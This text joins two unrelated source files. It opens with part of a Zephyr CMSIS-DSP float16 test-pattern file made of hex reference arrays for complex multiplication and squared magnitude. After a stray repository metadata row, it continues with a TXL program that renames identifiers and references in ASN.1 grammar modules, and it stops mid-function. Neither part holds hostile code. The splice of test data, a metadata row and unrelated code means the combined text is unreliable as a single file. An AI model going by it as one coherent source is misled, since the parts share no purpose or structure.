0x32c6, 0x3141, 0x364e, 0x3ab2, 0x327f, 0x38c1, 0x36cf, 0x398a,
0x37aa, 0x39d9, 0x3354, 0x36c6, 0x3980, 0x391a, 0x3669, 0x348f,
0x3a68, 0x383f, 0x3b31, 0x2c53, 0x36b3, 0x36c1, 0x38cd, 0x2e30,
0x3620, 0x386d, 0x2f07, 0x39ed, 0x3aa6, 0x36d3, 0x3480, 0x3455,
0x35ab, 0x3c30, 0x3b81, 0x379e, 0x35eb, 0x355b, 0x351d, 0x2fa9,
0x3952, 0x3922, 0x36a4, 0x3a98, 0x3679, 0x3489, 0x377c, 0x377c,
0x307e, 0x3670, 0x3c03, 0x30a0, 0x3760, 0x377f, 0x38e0, 0x387c,
0x3693, 0x324d, 0x341b, 0x36f6, 0x3531, 0x35f2, 0x32ff, 0x3532,
0x2e1d, 0x344c, 0x3662, 0x3692, 0x3848, 0x34cf, 0x36a0, 0x3439,
0x3347, 0x33de, 0x371e, 0x37ca, 0x3636, 0x34dd, 0x3521, 0x3335,
0x3a8a, 0x37ac, 0x3adb, 0x35b4, 0x304c, 0x3530, 0x388d, 0x34d5,
0x332f, 0x364f, 0x389f, 0x3401, 0x3841, 0x36cc, 0x393a, 0x350f,
0x334a, 0x31e5, 0x2dcd, 0x3767, 0x3582, 0x33da, 0x2e6b, 0x372a,
0x3988, 0x35d1, 0x375b, 0x3879, 0x2fa1, 0x3988, 0x36c8, 0x2dea,
0x243a, 0x363d, 0x34fa, 0x3812, 0x3726, 0x34ac, 0x347d, 0x35f2,
0x3366, 0x377f, 0x28ca, 0x37be, 0x36f3, 0x3141, 0x38ae, 0x343d,
0x35f2, 0x394c, 0x3889, 0x37f3, 0x383c, 0x365e, 0x3807, 0x30ef,
0x36f9, 0x3b84, 0x358e, 0x327a, 0x3aad, 0x382f, 0x3851, 0x3641,
0x3452, 0x383a, 0x308c, 0x380f, 0x329e, 0x3a5a, 0x3aaf, 0x395d,
0x2f4c, 0x378f, 0x389a, 0x39dd, 0x38bc, 0x3860, 0x34bf, 0x342f,
0x3892, 0x38b7, 0x3a94, 0x35c8, 0x30eb, 0x3778, 0x364c, 0x39c6,
0x2d82, 0x354d, 0x38f9, 0x3821, 0x3a2c, 0x36b9, 0x36c2, 0x356a,
0x39f8, 0x3934, 0x3868, 0x369a, 0x349e, 0x35a8, 0x3335, 0x3238,
0x3862, 0x34d1, 0x3808, 0x3c1c, 0x36b2, 0x3905, 0x3363, 0x30a5,
0x3627, 0x3475, 0x3578, 0x372f, 0x3379, 0x3354, 0x342e, 0x38a9,
0x32dd, 0x3240, 0x36c1, 0x3cd2, 0x3974, 0x2ef4, 0x2af9, 0x3451,
0x306e, 0x361b, 0x3334, 0x3288, 0x3492, 0x382d, 0x395e, 0x38d1,
0x2f81, 0x3a6f, 0x382d, 0x374d, 0x3537, 0x2aaf, 0x378d, 0x38f6,
0x31e1, 0x38e7, 0x35d3, 0x382b, 0x398d, 0x30b2, 0x359d, 0x3894,
0x30ac, 0x3946, 0x3370, 0x35db, 0x3845, 0x38a1, 0x3157, 0x3709,
0x36d7, 0x3763, 0x34ad, 0x3762, 0x3859, 0x36f8, 0x3398, 0x35db,
0x324a, 0x25df, 0x35c0, 0x368d, 0x334f, 0x2ff4, 0x36f5, 0x390a
};
static const uint16_t ref_mag_squared[256] = {
0x29bc, 0x26e7, 0x30f8, 0x399b, 0x2947, 0x35a7, 0x31cb, 0x37ab,
0x3357, 0x3847, 0x2ab6, 0x31bc, 0x3790, 0x3682, 0x3122, 0x2d32,
0x3921, 0x3483, 0x3a77, 0x1cac, 0x319c, 0x31b3, 0x35c3, 0x20c8,
0x30b1, 0x34e6, 0x222c, 0x3863, 0x3986, 0x31d3, 0x2d11, 0x2cb0,
0x3004, 0x3c62, 0x3b09, 0x3341, 0x3061, 0x2f2d, 0x2e88, 0x2355,
0x3713, 0x3695, 0x3183, 0x3970, 0x313d, 0x2d24, 0x3300, 0x3301,
0x250b, 0x312e, 0x3c07, 0x2558, 0x32cd, 0x3307, 0x35f0, 0x3507,
0x3167, 0x28f7, 0x2c37, 0x320f, 0x2ebd, 0x306b, 0x2a1f, 0x2ebe,
0x20ac, 0x2c9d, 0x3118, 0x3165, 0x3496, 0x2dc9, 0x317c, 0x2c75,
0x2a9e, 0x2bbd, 0x3256, 0x3395, 0x30d2, 0x2de9, 0x2e95, 0x2a7d,
0x3958, 0x335b, 0x39e0, 0x3010, 0x249e, 0x2ebb, 0x352d, 0x2dd7,
0x2a73, 0x30f9, 0x3556, 0x2c02, 0x3486, 0x31c6, 0x36d5, 0x2e66,
0x2aa4, 0x2858, 0x2035, 0x32da, 0x2f94, 0x2bb4, 0x2127, 0x326a,
0x37a7, 0x303a, 0x32c2, 0x3501, 0x2347, 0x37a6, 0x31c0, 0x205f,
0xc76, 0x30dd, 0x2e30, 0x3423, 0x3263, 0x2d75, 0x2d09, 0x306c,
0x2ad7, 0x3307, 0x15bc, 0x337e, 0x3209, 0x26e7, 0x3579, 0x2c7f,
0x306b, 0x3703, 0x3523, 0x33e5, 0x347c, 0x3111, 0x340e, 0x2615,
0x3214, 0x3b10, 0x2fb8, 0x293f, 0x3993, 0x3460, 0x34a9, 0x30e3,
0x2caa, 0x3478, 0x252c, 0x341e, 0x2979, 0x390b, 0x3996, 0x3730,
0x22a7, 0x3325, 0x354b, 0x384c, 0x359b, 0x34c9, 0x2da1, 0x2c60,
0x3539, 0x358e, 0x3969, 0x302e, 0x260d, 0x32f8, 0x30f4, 0x382b,
0x1f96, 0x2f07, 0x362f, 0x3444, 0x38c3, 0x31a7, 0x31b5, 0x2f53,
0x3873, 0x36c5, 0x34da, 0x3172, 0x2d54, 0x3000, 0x2a7f, 0x28d5,
0x34ce, 0x2dcc, 0x3411, 0x3c38, 0x319a, 0x364b, 0x2ad1, 0x2565,
0x30bc, 0x2cf6, 0x2f7a, 0x3273, 0x2afb, 0x2ab7, 0x2c5d, 0x356d,
0x29e3, 0x28e2, 0x31b3, 0x3dce, 0x3770, 0x220b, 0x1a14, 0x2ca9,
0x24e8, 0x30a8, 0x2a7d, 0x2955, 0x2d39, 0x345c, 0x3733, 0x35cc,
0x230a, 0x392d, 0x345d, 0x32aa, 0x2ecc, 0x1995, 0x3320, 0x3628,
0x2852, 0x3601, 0x303e, 0x3457, 0x37b4, 0x2584, 0x2fdf, 0x353e,
0x2574, 0x36f4, 0x2aea, 0x3049, 0x348e, 0x355b, 0x2722, 0x3230,
0x31d9, 0x32d3, 0x2d77, 0x32cf, 0x34ba, 0x3212, 0x2b36, 0x304a,
0x28f1, 0x104f, 0x3021, 0x315e, 0x2aad, 0x23e9, 0x320c, 0x365a
};
static const uint16_t ref_mult_cmplx[512] = {
0x26b7, 0x2228, 0x24ac, 0x2524, 0xb2c3, 0x267c, 0xae9d, 0x31ff,
0xaa65, 0xac31, 0xa838, 0xb059, 0xb367, 0xa415, 0x2e75, 0x28e8,
0xaf73, 0x2f01, 0xaefa, 0x9b2c, 0x28bf, 0x2c8c, 0xb2d7, 0xb37c,
0xb5f4, 0x20bc, 0x29bf, 0x335f, 0x3180, 0xaefa, 0xa5aa, 0x2c29,
0x2798, 0xb3b9, 0xb355, 0x26ec, 0xb6d6, 0x1486, 0x234a, 0xa52a,
0xb10e, 0x2b2c, 0x2974, 0x2963, 0xb355, 0xb0e5, 0xa45b, 0xa82e,
0x2707, 0xadd4, 0x291f, 0xb5d3, 0xa71c, 0x2b96, 0x34d2, 0xb0a5,
0xb08b, 0xadbd, 0x2c82, 0x9a96, 0xaaf1, 0xaef4, 0xa984, 0x2c53,
0xb51c, 0x2735, 0xb655, 0x3987, 0xb53b, 0xaea1, 0x223e, 0xaa1e,
0x22cb, 0x311f, 0x2df6, 0x2732, 0x3193, 0x2535, 0x1d4b, 0x26ba,
0x333f, 0x2777, 0x3366, 0x3155, 0x321a, 0x29ae, 0x2d8b, 0xbacf,
0x322f, 0xb013, 0x3069, 0xb062, 0xb32f, 0x31e6, 0x2872, 0x2628,
0xae15, 0xae16, 0xaed9, 0xb166, 0xad37, 0x302a, 0x226a, 0x28d9,
0x2d15, 0x3443, 0xaddc, 0xb0c6, 0xa55b, 0x35ca, 0xb303, 0xada9,
0x3139, 0x3449, 0xafe7, 0xadbb, 0x2c1c, 0x2bd2, 0xaf97, 0xa81f,
0x30c5, 0x2560, 0xefd, 0x2f3d, 0x9e3a, 0xac42, 0x2cdf, 0x29da,
0x216d, 0x1a0c, 0x2a3a, 0x2f69, 0x2d71, 0x9d84, 0xb031, 0xadc5,
0xb155, 0xb2c4, 0x309d, 0x2815, 0xaa82, 0xb50c, 0x2cfe, 0xb19e,
0x980c, 0xa452, 0x2ba1, 0xaa58, 0x2a1c, 0xacfb, 0x32f7, 0x9ece,
0x250f, 0x2c3c, 0x2f44, 0xa92a, 0x29ee, 0x2ce9, 0xa83b, 0x2a7f,
0x3059, 0x11c8, 0xa186, 0x9d80, 0xb26f, 0xae9e, 0x2833, 0xb0d6,
0xa321, 0x9c1f, 0x2852, 0x1fe7, 0x2c51, 0x2e64, 0xaa9d, 0xac07,
0x3073, 0x2b92, 0xacdf, 0x30e4, 0x342f, 0x3383, 0xa8d5, 0x2e52,
0x257c, 0x3282, 0x25f7, 0x2f10, 0xaa0d, 0xb76a, 0x2b91, 0x29dc,
0x2ce2, 0xa574, 0xad39, 0x2504, 0x2513, 0xa79e, 0x31be, 0x324d,
0x25ac, 0x2737, 0xa913, 0x2ad1, 0x2a08, 0x273b, 0x3465, 0x2088,
0xb1b1, 0x3469, 0xa5c8, 0xa90c, 0xa6f8, 0xaa58, 0xb162, 0xb051,
0x9bfe, 0x243d, 0xaeb0, 0x33c2, 0x30a6, 0xafa3, 0x2c21, 0xa627,
0x89ba, 0x955, 0xb0f7, 0x28cd, 0xaffb, 0x2c79, 0x329b, 0x2fa4,
0x2cf5, 0x2ca7, 0xaa1f, 0x2a5c, 0xb0c3, 0x2d69, 0xac77, 0x2d94,
0x2e87, 0x2205, 0xa9a0, 0xa005, 0x2600, 0x183e, 0xb12d, 0x3010,
0x2a31, 0x1f0d, 0xaa29, 0x2adf, 0xb432, 0x34c7, 0xa41d, 0x2a28,
0x9349, 0x27ce, 0x2cf4, 0x92cd, 0x9521, 0xa97f, 0xa94e, 0xb265,
0xb2a9, 0x2ca1, 0xb204, 0xa9ae, 0xb05c, 0xb12d, 0xa237, 0x2e44,
0x3178, 0xace1, 0xb168, 0xbb17, 0x341d, 0xac1f, 0x294e, 0x2a57,
0x30bb, 0x2b6a, 0x2fa1, 0x300c, 0x3269, 0x16b1, 0xb2e6, 0xacea,
0x2c5e, 0x27ce, 0xaf24, 0x2cde, 0xa53d, 0xac60, 0xaea9, 0x2c8c,
0x2930, 0x240a, 0x2ce2, 0x3195, 0x24e6, 0xac5b, 0xb68a, 0x31ce,
0xa7f5, 0x2a65, 0x3425, 0x330d, 0xafe8, 0x2cc3, 0x343e, 0xafe6,
0xaf22, 0xb3b1, 0xb050, 0x2da3, 0x2957, 0xa969, 0xaf4a, 0x2a80,
0xb4c4, 0xb03a, 0x2f33, 0xb5e7, 0x2f65, 0xb748, 0x2b34, 0xb300,
0x2a7b, 0xae4d, 0xb413, 0xae16, 0x3149, 0xacb1, 0xb81f, 0xb4f2,
0x28da, 0x22d8, 0x3444, 0xb243, 0xae1d, 0x2b7c, 0xa628, 0xac83,
0xa8ea, 0xb1b8, 0x2852, 0xaca5, 0xad52, 0xab68, 0xb12e, 0xae2e,
0x3817, 0x37c9, 0x326d, 0xb598, 0xb481, 0x3189, 0x2ba4, 0x304b,
0x3445, 0xb19a, 0x318e, 0xaa8c, 0x28ee, 0x253f, 0xaa4b, 0xaae3,
0xa9fd, 0x2dec, 0x2cd1, 0x33b0, 0xa599, 0x33ef, 0x34c8, 0xb80c,
0x2f9e, 0xaf03, 0x3205, 0x3431, 0xaaf1, 0xa9d0, 0x1d93, 0x2cc8,
0xa88c, 0xb210, 0xa818, 0x3227, 0x27fe, 0x93ed, 0x945e, 0xaf89,
0x18fa, 0xaeee, 0x2892, 0xac96, 0x2f67, 0x2885, 0x1081, 0x2aa3,
0x2925, 0xad98, 0x18b8, 0x21a6, 0xa693, 0x2801, 0xacc0, 0x2b66,
0xb4a5, 0x310a, 0x1bd5, 0xa12a, 0x95ba, 0x98f9, 0x2f82, 0x302f,
0xa882, 0x24a4, 0x227e, 0xb4cc, 0xaa37, 0x279f, 0x2825, 0xaef9,
0x2279, 0x2e1d, 0x2c04, 0x320e, 0x2c79, 0xaa24, 0x13ed, 0xaa45,
0xa939, 0x2cd9, 0xa2ff, 0x37a8, 0xb25d, 0x2c11, 0xae2c, 0xb48e,
0xab24, 0xa47b, 0x999b, 0x1ebf, 0xb272, 0x349e, 0x3830, 0xac47,
0x20e5, 0x2d04, 0x3044, 0x35c2, 0xb068, 0xab28, 0xaa5f, 0x2a7f,
0x340d, 0x317f, 0xabc2, 0xada8, 0x2cb4, 0xaa21, 0xaa28, 0xb52f,
0x2a70, 0x2c24, 0xb080, 0xb870, 0x2d47, 0x2dc3, 0x2e42, 0x2cba,
0x31c6, 0x9d38, 0x2fbe, 0xb43a, 0x2836, 0xa9fe, 0x2fdf, 0xa7f8,
0xa543, 0xaf0a, 0xac9a, 0x2fbf, 0xae83, 0x30d3, 0xadc0, 0x2e96,
0x362d, 0x2b53, 0x32ae, 0x29c9, 0xa874, 0x245b, 0x2c94, 0x2e1e,
0x23c7, 0x2f4d, 0x13f1, 0x8b64, 0x2cb8, 0xb104, 0xaf7a, 0x2eb7,
0xab45, 0x2acd, 0x1e55, 0x2a13, 0x2fba, 0xaf60, 0xb3ed, 0x319b
};
static const uint16_t ref_mult_real[512] = {
0xaf67, 0xab1d, 0x1d61, 0x2187, 0xa928, 0x28e3, 0x3906, 0x36ae,
0x2766, 0xa06f, 0xa7a8, 0xb0e3, 0xb1c2, 0xb0af, 0x359b, 0x3420,
0x3054, 0xb23d, 0x9f84, 0xa9d6, 0x28a1, 0xa341, 0xaafd, 0x2767,
0xb255, 0xb474, 0x2a39, 0x3916, 0xa225, 0xaa95, 0x1977, 0xa124,
0xadcf, 0xb548, 0x2dd0, 0xb43c, 0xa463, 0xb061, 0xa0a1, 0x202d,
0xac41, 0xa9d4, 0x28ea, 0x331c, 0xad82, 0x1c71, 0x2897, 0x1f39,
0xafb3, 0x2d8b, 0x2e72, 0x8d83, 0x29f3, 0x2a80, 0xb35b, 0xb842,
0xb096, 0x2feb, 0xb43e, 0x34a2, 0xc38, 0xa025, 0x8cab, 0x900f,
0x257d, 0x3108, 0x330c, 0x3119, 0x2ffd, 0xb38f, 0x2c55, 0x29f2,
0x2e9f, 0x29af, 0x19f0, 0x2995, 0xac23, 0x230b, 0x9b62, 0x29dd,
0xaee0, 0xad9b, 0x2bed, 0x20a8, 0xa7ac, 0x2936, 0xb1e0, 0x3785,
0x2620, 0xa013, 0x3001, 0x2fc2, 0x327d, 0x2821, 0xac7e, 0xab8c,
0x9fe4, 0xa049, 0x9586, 0x1d0e, 0xb423, 0x2575, 0x222e, 0x28ba,
0x2837, 0xacf9, 0x2253, 0x2903, 0x23c6, 0xb429, 0x2b8a, 0xb114,
0x2c94, 0xac32, 0xa470, 0xa832, 0x2495, 0xa357, 0x2ce4, 0xae95,
0xacf2, 0x30a4, 0x9f21, 0x3500, 0x1fe6, 0x257b, 0xaa37, 0x2d0e,
0x24b5, 0xac47, 0xb187, 0xa62e, 0x3414, 0x2c99, 0x2697, 0x188d,
0xb290, 0x281c, 0x30f6, 0x2908, 0x2f58, 0x9f3a, 0x2d50, 0xa347,
0x2097, 0xa316, 0xb0c2, 0xaa5e, 0xb04b, 0x298b, 0x23a9, 0x1c38,
0xa5cd, 0xa893, 0x27b6, 0xb114, 0x2860, 0xa3bc, 0x142a, 0x10ca,
0xaa02, 0xb06a, 0x2657, 0x28ff, 0xabb8, 0xaa02, 0xa783, 0xac01,
0xa558, 0x28c7, 0x1b58, 0x29af, 0x2fff, 0xb05e, 0x2c44, 0xaec0,
0x90bc, 0x1682, 0x9bc3, 0x9917, 0x3282, 0xa932, 0xac6b, 0x2912,
0x1942, 0x20e1, 0xb0b4, 0x2a95, 0xb092, 0xa65a, 0xa86a, 0xb01b,
0x120d, 0xa0c2, 0x1dba, 0x2c43, 0xa837, 0xa6f6, 0x2669, 0x28f4,
0xae0f, 0xabb5, 0xa7db, 0x2c79, 0x2141, 0xa214, 0x27d9, 0x1873,
0xa4c9, 0x2c13, 0x1ced, 0x9699, 0xb351, 0x3123, 0xa491, 0x2a49,
0x25b5, 0xa826, 0xaa30, 0x2841, 0x3482, 0x2fee, 0x24dc, 0x22a2,
0xa053, 0x9deb, 0xa342, 0x2c02, 0x9cbf, 0xa2e4, 0xa5a1, 0x303f,
0x2e88, 0xa7ae, 0x2bd9, 0x2524, 0x98a4, 0x1ccc, 0xa551, 0x9c8f,
0x2371, 0x2834, 0xa332, 0x21cd, 0x1ada, 0x1f38, 0xa47a, 0xa9b2,
0x2137, 0x1e14, 0x28f5, 0x28f2, 0x31da, 0x3159, 0xad3f, 0xaf1e,
0xb061, 0x2c11, 0xb4cf, 0x28c7, 0xa677, 0x29ab, 0x2aa7, 0xa1f8,
0xa6c4, 0x290c, 0x1e55, 0xaeda, 0x287c, 0x2c77, 0x1144, 0x1b7a,
0xa1e5, 0x2e1d, 0x25c3, 0x251e, 0x3157, 0xaeb2, 0xa69c, 0x2357,
0xac62, 0x2911, 0x3010, 0xaeec, 0xa847, 0x28b1, 0xa92b, 0xb10d,
0x24be, 0x246f, 0x3341, 0x3237, 0xa8a2, 0x258e, 0x2bc1, 0xad95,
0x26b1, 0x2a2a, 0xa81e, 0x2c44, 0xb7de, 0x3176, 0xaa5a, 0xa76f,
0x2b9f, 0x2a22, 0x169d, 0xa3cf, 0xab66, 0x288d, 0x2a0f, 0x3221,
0xafa7, 0x2a1f, 0x2ecc, 0x2a3c, 0xb01e, 0xa52c, 0x192a, 0x2c0b,
0x3372, 0x2c5e, 0x2cbb, 0xb235, 0x3781, 0xafa2, 0xadf5, 0xa5b1,
0xa234, 0xaa4a, 0x2318, 0x1fea, 0x2f66, 0x2faa, 0xa995, 0x36fe,
0x1ea7, 0x2748, 0x3071, 0xa190, 0x24db, 0xafe3, 0xae95, 0xb056,
0x32ef, 0x2c55, 0x318d, 0xb55c, 0x2b5a, 0xa893, 0x2895, 0x26ce,
0x2f51, 0x2e99, 0x2449, 0x2c6b, 0xaf3b, 0x315e, 0x2f78, 0xa7d5,
0x2a49, 0xaefb, 0x32ef, 0xac5a, 0x278a, 0x29bf, 0x95a9, 0xa47b,
0x2595, 0xb47b, 0x2d02, 0xa9e0, 0x2eb0, 0x32c0, 0x2c75, 0xb255,
0xa865, 0xadbd, 0xa389, 0x2cb8, 0xad09, 0xac1e, 0x2e01, 0x2151,
0xa531, 0x29d2, 0xa8fb, 0xab00, 0x3067, 0xa7b7, 0xae68, 0xa586,
0xb068, 0xb17e, 0x2d2e, 0xa8e6, 0x27f5, 0x28a3, 0xaf9d, 0xabb7,
0x2556, 0xa46f, 0x2947, 0x23ce, 0xac72, 0xab6a, 0x34bb, 0xb708,
0xb530, 0x34a4, 0xac53, 0xa6ba, 0x1be3, 0xa4d4, 0x2d43, 0x2854,
0xa939, 0xac0b, 0xab34, 0xaa48, 0x37b, 0x8310, 0xa2d1, 0x2c72,
0x1d70, 0xa12f, 0x3128, 0x22f4, 0xae46, 0xaec0, 0xaa29, 0x30b0,
0x25a7, 0xa538, 0x2d9a, 0x3543, 0x282d, 0xa478, 0xb1e5, 0xa713,
0xa8cf, 0xacd5, 0xa60b, 0x27e2, 0x2cdd, 0xb053, 0x33b1, 0x325a,
0xad01, 0xac1d, 0xaa4f, 0x3475, 0x1b09, 0x2890, 0x304f, 0xaef1,
0xb56b, 0xad39, 0xa062, 0x18de, 0xa9b1, 0xabff, 0x2f92, 0x1554,
0xac02, 0x2920, 0xa52b, 0x32f5, 0x2012, 0xa827, 0x917b, 0x9a05,
0x3017, 0x2a44, 0x2aff, 0xac8b, 0xa1c0, 0xae71, 0x201e, 0xa46d,
0xad36, 0xb110, 0x21ec, 0x2bb4, 0x30b4, 0x30c6, 0xb430, 0xb472,
0xa67b, 0xaaea, 0x2c7b, 0x3252, 0x27d0, 0x2e26, 0x27c2, 0xaaf1,
0x227c, 0x2325, 0x8d0a, 0x8e97, 0xa27b, 0x2d29, 0xb101, 0x18d8,
0x24ee, 0xac74, 0x98be, 0x993f, 0xa935, 0x25fa, 0x256c, 0x2ae4
};
| Max | 1 | ldalek/zephyr | tests/lib/cmsis_dsp/complexmath/src/f16.pat | [
"Apache-2.0"
] |
% BSD 3-Clause License
%
% Copyright (c) 2017, Ali ElShakankiry
% All rights reserved.
%
% Redistribution and use in source and binary forms, with or without
% modification, are permitted provided that the following conditions are met:
%
% * Redistributions of source code must retain the above copyright notice, this
% list of conditions and the following disclaimer.
%
% * Redistributions in binary form must reproduce the above copyright notice,
% this list of conditions and the following disclaimer in the documentation
% and/or other materials provided with the distribution.
%
% * Neither the name of the copyright holder nor the names of its
% contributors may be used to endorse or promote products derived from
% this software without specific prior written permission.
%
% THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
% AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
% IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
% DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
% FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
% DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
% SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
% CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
% OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
% OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
include "../GRM/ASNOne.Grm"
%redefine decl
% [id] [opt hashID]
%end redefine
%define hashID
% '^ [id]
%end define
define pair
[id] [id]
end define
define dot_rp
'. [referenced_element]
end define
redefine referenced_element
[referencable_primaries] [repeat dot_rp]
end redefine
redefine construction_assignment_statement
[decl] '::= [type_decision] [opt scl_additions] [NL]
end redefine
function main
replace [program]
P [program]
by
P [renRefUserFieldTypes]
[createExportTable]
end function
%renRefFieldTypes
%renRefConstraints
rule renRefUserFieldTypes
skipping [module_definition]
replace $ [module_definition]
ID [id] 'DEFINITIONS OP [opt tag_default] '::= 'BEGIN
Exports [opt export_block]
Imports [opt import_block]
Body [repeat rule_definition]
'END
construct P [pair]
E E
export NameList [repeat pair]
P
by
ID 'DEFINITIONS OP '::= 'BEGIN
Exports [renameExports ID]
Imports [renameImports]
Body [addDecls]
[renameUserFieldTypes]
[renameRefContraint Body]
[renameConstructionAssignments ID]
'END
end rule
rule renameExports Id [id]
skipping [export_block]
replace $ [export_block]
'EXPORTS LIST [list decl] ';
by
'EXPORTS LIST [renameExportRefs Id] ';
end rule
function renameExportRefs ModuleName [id]
replace [list decl]
REF [id] ', REST [list decl]
by
REF [+ "_"] [+ ModuleName] '^ REF ', REST [renameExportRefs ModuleName]
end function
rule renameImports
skipping [import_block]
replace $ [import_block]
'IMPORTS DECLS [list decl] 'FROM MODULE [id] ', REST [list import_list] ';
by
'IMPORTS DECLS [renameImportRefs MODULE] 'FROM MODULE ', REST [renameImportsList] ';
end rule
rule renameImportsList
replace $ [list import_list]
DECLS [list decl] 'FROM MODULE [id] ', REST [list import_list]
by
DECLS [renameImportRefs MODULE] 'FROM MODULE ', REST
end rule
function renameImportRefs ModuleName [id]
replace [list decl]
REF [id] ', REST [list decl]
by
REF [+"_"] [+ ModuleName] '^ REF ', REST [renameImportRefs ModuleName]
end function
rule addDecls
skipping [rule_definition]
replace $ [rule_definition]
RD [rule_definition]
by
RD [addTypeRuleDef]
[addConstructionAssignment]
end rule
function addTypeRuleDef
replace [rule_definition]
First [id] '^ Short [id] '::= TP [type] OP [opt scl_additions]
import NameList [repeat pair]
construct check [repeat pair]
NameList [checkIfPresent Short]
construct newpair [pair]
First Short
export NameList
NameList [. newpair]
by
First '^ Short '::= TP OP
end function
function addConstructionAssignment
replace [rule_definition]
First [id] '^ Short [id] '::= TP [type_decision]
import NameList [repeat pair]
construct check [repeat pair]
NameList [checkIfPresent Short]
construct newpair [pair]
First Short
export NameList
NameList [. newpair]
by
First '^ Short '::= TP
end function
function checkIfPresent ID [id]
match [repeat pair]
RE [repeat pair]
deconstruct not * [pair] RE
First [id] ID
end function
rule renameUserFieldTypes
import NameList [repeat pair]
skipping [named_type]
replace $ [named_type]
DECL [decl] T [type]
by
DECL T [replaceSizeType NameList]
[replaceSetOfType NameList]
% [replaceSequenseof Namelist]
end rule
function replaceSizeType NL [repeat pair]
replace [type]
ID [id] SC [size_constraint] OP [opt endian] OPSL [opt slack]
deconstruct * [pair] NL
First [id] ID
by
First SC OP OPSL
end function
function replaceSetOfType NL [repeat pair]
replace [type]
'SET 'OF ID [id] SC [size_constraint]
deconstruct * [pair] NL
First [id] ID
by
'SET 'OF First SC
end function
%%%%%%%%%%%%%%%%%%%%%%% NOTE: Still need to do and test SET type for doSET
%%% Back & Front Constraint renaming
rule renameRefContraint Rules [repeat rule_definition]
skipping [type_rule_definition]
replace $ [type_rule_definition]
R [type_rule_definition]
by
R [doSeq Rules]
%[doSet Rules]
end rule
rule doSeq Rules [repeat rule_definition]
skipping [type_rule_definition]
replace $ [type_rule_definition]
D [decl] '::= 'SEQUENCE OS [opt size_constraint] '{
EL [list element_type] OP [opt ',]
'} ENC [opt encoding_grammar_indicator] SZ [opt size_markers_block]
'<transfer>
RETR [repeat transfer_statement]
'</transfer>
CST [opt constraints_block]
by
D '::= 'SEQUENCE OS '{
EL OP
'} ENC SZ
'<transfer>
RETR [checkBackConstraint EL Rules D] [checkForwardConstraint EL Rules D]
'</transfer>
CST
end rule
rule checkBackConstraint Elist [list element_type] Rules [repeat rule_definition] RefName [decl]
%skipping [back_block]
replace $ [back_block]
%'Back '{ OR [referenced_element] OP [opt equality_op_relational_expression] '}
'Back '{ OR [or_expression] '}
deconstruct not OR
'GLOBAL '( RE [referenced_element] ') '== REST [relational_expression]
by
%'Back '{ RF [renameTransferStatement Elist Rules] [renameTransferFromRuleDef Elist Rules] [checkForUndefinedStats RefName] OP '}
'Back '{ OR [renameTransferStatement Elist Rules] [renameTransferFromRuleDef Elist Rules][checkForUndefinedStats RefName] '}
end rule
rule checkForwardConstraint Elist [list element_type] Rules [repeat rule_definition] RefName [decl]
%skipping [forward_block]
replace $ [forward_block]
'Forward '{ OR [or_expression] '}
by
'Forward '{ OR [renameTransferStatement Elist Rules] [renameTransferFromRuleDef Elist Rules] '}
end rule
rule renameTransferStatement Elist [list element_type] Rules [repeat rule_definition]
skipping [referenced_element]
replace $ [referenced_element]
SHORT [id] REST [repeat dot_rp]
deconstruct * [named_type] Elist
FULL [id] '^ SHORT TYPE [type]
by
FULL REST [recurseRename TYPE Rules]
end rule
function recurseRename Type [type] Rules [repeat rule_definition]
replace [repeat dot_rp]
'. ID [id] REST [repeat dot_rp]
deconstruct Type
RTYPE [id] _ [size_constraint]
deconstruct * [rule_definition] Rules
RTYPE '^ Short [id] '::= 'SEQUENCE _ [opt size_constraint] '{
EL [list element_type] _ [opt ',]
'} _ [opt scl_additions]
deconstruct * [named_type] EL
FULL [id] '^ ID TYPE2 [type]
by
'. FULL REST [recurseRename TYPE2 Rules]
end function
rule renameTransferFromRuleDef Elist [list element_type] Rules [repeat rule_definition]
skipping [referenced_element]
replace $ [referenced_element]
SHORT [id] REST [repeat dot_rp]
deconstruct * [rule_definition] Rules
FULL [id] '^ SHORT '::= 'SEQUENCE _ [opt size_constraint] '{
EL [list element_type] _ [opt ',]
'} _ [opt scl_additions]
by
FULL REST
end rule
% Possible issue - what if the first id has been renamed ( with underscores )
% and additional ids have not been renamed? Need to check for that
rule checkForUndefinedStats RefName [decl]
skipping [referenced_element]
replace $ [referenced_element]
ID [id] REST [repeat dot_rp]
construct US [number]
_ [index ID "_"]
deconstruct US
0
deconstruct RefName
LONG [id] '^ SHORT [id]
construct err [id]
_ [+ "Undefined statement reference \""]
[+ ID]
[+ "\" in type rule \""]
[+ LONG]
[+ "\""]
[print]
%[quit 99]
by
ID REST
end rule
rule renameConstructionAssignments ModName [id]
skipping [construction_assignment_statement]
replace $ [construction_assignment_statement]
CA [construction_assignment_statement]
by
CA [addConstDef ModName]
%[addConstructionAssignment]
end rule
function addConstDef ModName [id]
replace [construction_assignment_statement]
First [id] '^ Short [id] '::= TD [type_decision] OPT [opt scl_additions]
by
First '^ Short '::= TD [renConst ModName] OPT
end function
%% NOTE: type decisions that have a '.' are considered part of an import's module, and so are renamed
%% accordingly in renTRImports
rule renConst ModName [id]
skipping [type_decision]
replace $ [type_decision]
'( TR [type_reference] ALT [repeat alternative_decision]')
by
'( TR [renTR ModName] [renTRImports] ALT [recurseRenConst ModName] [recurseRenConstImports] ')
end rule
function renTR ModName [id]
replace [type_reference]
ID [id]
construct NEW [id]
ID [+ "_"] [+ ModName]
by
NEW
end function
function recurseRenConst ModName [id]
replace [repeat alternative_decision]
'| ID [id] REST [repeat alternative_decision]
construct NEW [id]
ID [+ "_"] [+ ModName]
by
'| NEW REST [recurseRenConst ModName]
end function
function renTRImports
replace [type_reference]
